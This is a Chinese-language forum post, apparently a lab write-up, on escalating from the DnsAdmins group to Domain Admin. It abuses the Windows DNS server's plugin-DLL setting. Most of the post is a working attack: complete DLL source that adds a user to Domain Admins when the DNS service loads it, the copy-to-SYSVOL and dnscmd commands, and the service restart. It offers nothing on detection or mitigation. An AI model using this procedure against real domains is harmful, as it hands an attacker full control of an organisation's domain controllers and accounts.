域内一个特权提升技巧
0x01.背景
实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject
从而实现特权提升。
在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\windows\system32\dns.exe
,创建Rpc接口,使用\PIPE\DNSSERVER
命名管道进行传输。
DNS服务默认ACL 如下图:
DNS.exe 默认启动权限为NT AUTHORITY\SYSTEM
:
0x02、过程
0x0201 dll文件编译:
dll源码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
\#include "pch.h"
DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)
{
return 0;
}
DWORD WINAPI DnsPluginCleanup()
{
return 0;
}
DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)
{
WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
导出函数,Source.def文件:
EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery
编译后查看导出函数是否正确:
0x0202 特权提升:
首先找到Dnsadmins
net user sixth-hospital /domain
将dll 复制到sysvol
copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts
使用当前用户列举AD c盘
dir \\WIN-43QM2N9GRC4.hackhello.local\c$
执行dnscmd 配置调用dll
dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
此时查看dc注册表,已经配置好了dll路径。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
重启dns
sc stop dns
sc start dns
重启完服务后再执行net命令
net user sixth-hospital /domain
可以看到已经成功将Dnsadmins用户提升至域管理员权限
我们列下c盘符下文件
- 本文作者: 带头大哥
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/52
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!